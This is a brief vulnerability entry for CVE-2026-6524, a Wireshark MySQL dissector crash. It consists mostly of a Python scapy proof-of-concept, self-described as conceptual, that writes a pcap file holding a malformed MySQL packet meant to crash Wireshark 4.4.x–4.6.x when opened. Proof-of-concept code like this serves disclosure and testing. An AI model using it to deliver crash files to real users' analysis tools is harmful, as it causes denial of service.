CVE-2026-6524 Wireshark MySQL协议解析器崩溃漏洞

# PoC Code for CVE-2026-6524 (Conceptual) # This script generates a pcap file containing a malformed MySQL packet. # Opening this file in a vulnerable Wireshark version should trigger a crash. from scapy.all import * # Construct a malformed MySQL packet # Standard MySQL packet: [Length (3 bytes)][ID (1 byte)][Payload] # We set an inconsistent length or payload to trigger the dissector bug malformed_payload = b"\x00\x00\x00" # Length 0 but with payload follows malformed_payload += b"\x01" # Sequence ID malformed_payload += b"\xFF" * 100 # Unexpected payload data # Encapsulate in TCP/IP ip_packet = IP(dst="127.0.0.1", src="192.168.1.1") tcp_packet = TCP(sport=3306, dport=54321) malformed_pkt = ip_packet / tcp_packet / Raw(load=malformed_payload) # Save to pcap file wrpcap("cve_2026_6524_crash.pcap", [malformed_pkt]) print("[+] PoC file generated: cve_2026_6524_crash.pcap") print("[+] Open this file with Wireshark 4.4.x - 4.6.x to reproduce the DoS.")